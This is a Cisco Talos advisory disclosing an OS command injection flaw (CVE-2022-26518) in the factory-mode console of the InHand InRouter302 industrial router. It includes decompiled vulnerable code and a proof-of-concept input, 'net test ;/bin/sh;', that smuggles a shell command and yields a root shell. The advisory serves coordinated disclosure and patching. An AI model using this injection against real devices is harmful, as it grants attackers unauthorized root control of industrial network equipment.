Talos Vulnerability Report

TALOS-2022-1501

InHand Networks InRouter302 console infactory_net command injection vulnerability

MAY 10, 2022

CVE NUMBER

CVE-2022-26518

Summary

An OS command injection vulnerability exists in the console infactory_net functionality of InHand Networks InRouter302 V3.5.37. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

InHand Networks InRouter302 V3.5.37

Product URLs

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The InRouter302 offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console.

Here is the prompt after the login:

```
**********************************************
        Welcome to Router console
    Inhand
    Copyright @2001-2020, Beijing InHand Networks Co., Ltd.
    http://www.inhandnetworks.com
----------------------------------------------
Model                : IR302-WLAN
Serial Number        : RF3022141057203
Description          : www.inhandnetworks.com
Current Version      : V3.5.37
Current Bootloader Version : 1.1.3.r4955
----------------------------------------------
get help for commands
----------------------------------------------
type '?' for detail help at any point
==============================================
help           -- get help for commands
language       -- Set language
show           -- show system information
exit           -- exit current mode/console
ping           -- ping test
comredirect    -- COM redirector
telnet         -- telnet to a host
traceroute     -- trace route to a host
enable         -- turn on privileged commands
infactory      -- factory mode
Router>
```

The `infactory` command permits, provided the correct password, the access to the factory mode view. This mode permits to change the configuration and perform various tests. The factory mode view:

```
Router> infactory
input password:
Router(factory)#
get help for commands
-----------------------------------------------
type '?' for detail help at any point
===============================================
help           -- get help for commands
language       -- Set language
exit           -- exit current mode/console
reboot         -- reboot system
factory-model  -- hardware model configure
modem          -- modem test
reset-key      -- check the status of the reset button
com            -- detecting serial ports
port           -- FCT network port test
net            -- complete machine network port test
led            -- LED lights test
wlan           -- Wi-Fi test
mem            -- check memory
hw_wdg         -- check the hardware watchdog status
dio            -- detect digital I/O
stategridsec   -- detect stategrid security chip
Router(factory)#
```

This mode offers several functionalities. For instance, the `net` functionality allows to essentially execute a ping command specifying its `interface` parameter.

The `net_functionality`:

```
undefined4 net_functionality(undefined4 param_1,int args)

{
    [...]

    argument_list_ptr[0] = args;
    [...]
    if (argument_list_ptr[0] != 0) {
        first_arg = (char *)maybe_get_next_token(argument_list_ptr);
        if (*first_arg != '\0') {
            is_init = strncmp(first_arg,"init",4);
            if (is_init == 0) {
                [...]
            }
            is_test = strncmp(first_arg,"test",4);
            if ((is_test == 0) &&
                (interface = (char *)maybe_get_next_token(argument_list_ptr),
                interface != (char *)0x0)) {
[1]
                max_args = 3;
                packets_count = 0;
                timeout_ = 0;
                target_ip = (char *)0x0;
                [... here are parsed 3 optional parameters ...]
                snprintf((char *)&ping_command,0x80,"ping -I %s -c %d -W %d
%s",interface,packets_count,
                        timeout,target_ip);
[2]
                popen_stream = popen((char *)&ping_command,"r");
[3]
                [...]
}
```

If the first provided argument is `test`, then the second one, parsed at `[1]`, will be later used at `[2]` to form the string `ping -I <second_arg> -c <packets_count> -W <timeout> <target_ip>`. This string will later be used at `[3]` as argument of the popen function.

The second argument is not properly sanitized, and a command injection can occur at `[3]`. An attacker, able to reach the `net` functionality, would be able to obtain a root shell.

Exploit Proof of Concept

Provided the command `net test ;/bin/sh;`, in the factory mode view, a root shell will be obtained:

```
Router(factory)# net test ;/bin/sh;
ping: option requires an argument -- I
BusyBox v1.26.2 (2022-02-23 16:03:56 CST) multi-call binary.

Usage: ping [OPTIONS] HOST
help
Built-in commands:
------------------
    . : [ [[ break cd chdir continue echo eval exec exit export false
    hash help history let local printf pwd read readonly return set
    shift source test times trap true type ulimit umask unset wait
```

Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4

https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf

Timeline

2022-03-30 - Vendor Disclosure

2022-05-10 - Public Release

2022-05-10 - Vendor Patch Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
